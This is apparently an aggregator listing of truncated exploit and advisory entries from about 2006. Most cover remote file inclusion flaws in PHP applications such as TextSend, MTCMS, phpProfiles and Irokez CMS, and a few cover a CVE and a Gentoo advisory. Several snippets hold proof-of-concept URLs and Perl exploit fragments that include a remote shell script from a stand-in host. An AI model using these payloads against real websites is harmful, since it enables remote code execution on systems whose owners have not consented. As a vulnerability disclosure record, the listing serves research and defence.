PT-2006-7435 · Rediff · Rediff Bol Downloader Activex

Name of the Vulnerable Software and Affected Versions: Rediff Bol Downloader ActiveX OCX control affected versions not specified Description: The issue allows remote attackers to execute arbitrary files and obtain sensitive information, such as usernames and pathnames, by providing a URL in the u...

Bubla <= 1.0.0rc2 (bu/process.php) Remote File Include Vulnerability

No description provided by source. DeltasecurityTEAM WwW.Deltasecurity.iR Portal Name = Bubla = 1.0.0rc2 Class = Remote File Inclusion Risk = High Remote File Execution Download = http://download.sourceforge.net/pub/sourceforge/b/bu/bubla/bubla-1.0.0rc1.tar.gz Discoverd By = DeltahackingTEAM User...

Bubla 1.0.0rc2 - '/bu/process.php' Remote File Inclusion

DeltasecurityTEAM WwW.Deltasecurity.iR Portal Name = Bubla = 1.0.0rc2 Class = Remote File Inclusion Risk = High Remote File Execution Download = http://download.sourceforge.net/pub/sourceforge/b/bu/bubla/bubla-1.0.0rc1.tar.gz Discoverd By = DeltahackingTEAM User In Delta Team = DavoodCracker...

Irokez CMS <= 0.7.1 Multiple Remote File Include Vulnerabilities

No description provided by source. +------------------------------------------------------------------------------------------- + Irokez CMS = 0.7.1 Multiple Remote File Include Vulnerabilities +------------------------------------------------------------------------------------------- + Vendor...

MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Exploit

Exploit for unknown platform in category web applications =================================================================== MTCMS \n"; print "-h, --host\ttarget host\texample.com\n"; print "-f, --file\tremote file\thttp://evilsite.com/shell.php\n"; print "-d, --dir\tinstall dir\t/mtcms\n"; exit...

Irokez Blog 0.7.1 - Multiple Remote File Inclusions

Irokez Blog 0.7.1 - Multiple Remote File Inclusions +------------------------------------------------------------------------------------------- + Irokez CMS +------------------------------------------------------------------------------------------- + Details: + Irokez CMS has several scripts...

MTCMS 2.0 - '/admin/admin_settings.php' Remote File Inclusion

!/usr/bin/perl +------------------------------------------------------------------------------------------- + MTCMS + Requirements.......: registerglobals = on +------------------------------------------------------------------------------------------- use Getopt::Long; use URI::Escape; use...

Irokez Blog 0.7.1 - Multiple Remote File Inclusions

+------------------------------------------------------------------------------------------- + Irokez CMS +------------------------------------------------------------------------------------------- + Details: + Irokez CMS has several scripts which do not initialize variables before using them to...

PowerClan 1.14a - footer.inc.php Remote File Inclusion

PowerClan 1.14a - footer.inc.php Remote File Inclusion +------------------------------------------------------------------------------------------- + PowerClan +------------------------------------------------------------------------------------------- + Details: + PowerClan footer.inc.php does n...

TextSend &lt;= 1.5 &#40;config/sender.php&#41; Remote File Include Vulnerability

+------------------------------------------------------------------------------------------- + TextSend = 1.5 config/sender.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendor ............:...

PgmReloaded 0.8.5 - Multiple Remote File Inclusions

+------------------------------------------------------------------------------------------- + PgmReloaded +------------------------------------------------------------------------------------------- + Details: + PgmReloaded has several scripts which do not initialize variables before using them ...

TextSend <= 1.5 (config/sender.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ===================================================================== TextSend include "$ROOTPATH/config.php"; + + Proof Of Concept: + http://target/path/config/sender.php?ROOTPATH=http://evilsite.com/shell.php?...

TextSend 1.5 - configsender.php Remote File Inclusion

TextSend 1.5 - configsender.php Remote File Inclusion +------------------------------------------------------------------------------------------- + TextSend +------------------------------------------------------------------------------------------- + Details: + TextSend config/sender.php does n...

phpProfiles &lt;= 3.1.2b Multiple Remote File Include Vulnerabilities

No description provided by source. +------------------------------------------------------------------------------------------- + phpProfiles = 3.1.2b Multiple Remote File Include Vulnerabilities +------------------------------------------------------------------------------------------- + Affect...

phpProfiles <= 3.1.2b Multiple Remote File Include Vulnerabilities

Exploit for unknown platform in category web applications ================================================================== phpProfiles + include/account.inc.php, lines 09: include"$incpath/footer.inc.php"; + include/index.inc.php, lines 05: include"$incpath/adminerr.inc.php"; + ... see below fo...

phpProfiles 3.1.2b - Multiple Remote File Inclusions

phpProfiles 3.1.2b - Multiple Remote File Inclusions +------------------------------------------------------------------------------------------- + phpProfiles +------------------------------------------------------------------------------------------- + Details: + phpProfiles has several scripts...

Azucar CMS 1.3 - '/admin/index_sitios.php' File Inclusion

+------------------------------------------------------------------------------------------- + Azucar CMS +------------------------------------------------------------------------------------------- + Details: + Azucar CMS admin/indexsitios.php uses the include function insecurely on the $GETVIEW...

eXtreme-fusion 4.02 - 'Fusion_Forum_View.php' Local File Inclusion

source: https://www.securityfocus.com/bid/21621/info eXtreme-fusion is prone to a local file-include vulnerability because the application fails to properly sanitize user-supplied input. Exploiting this issue may allow an unauthorized user to view files and execute local scripts. By combining thi...

CVE-2006-6533: Undefined Security Weakness

Directory traversal vulnerability in admin/templatesboxeslayout.php in osCommerce 3.0a3 allows remote attackers to include and execute arbitrary PHP files via a .. dot dot in the filter parameter. NOTE: this issue can be leveraged to obtain full path information in error messages...

GLSA-200612-15 : McAfee VirusScan: Insecure DT_RPATH

The remote host is affected by the vulnerability described in GLSA-200612-15 McAfee VirusScan: Insecure DTRPATH Jakub Moc of Gentoo Linux discovered that McAfee VirusScan was distributed with an insecure DTRPATH which included the current working directory, rather than $ORIGIN which was probably...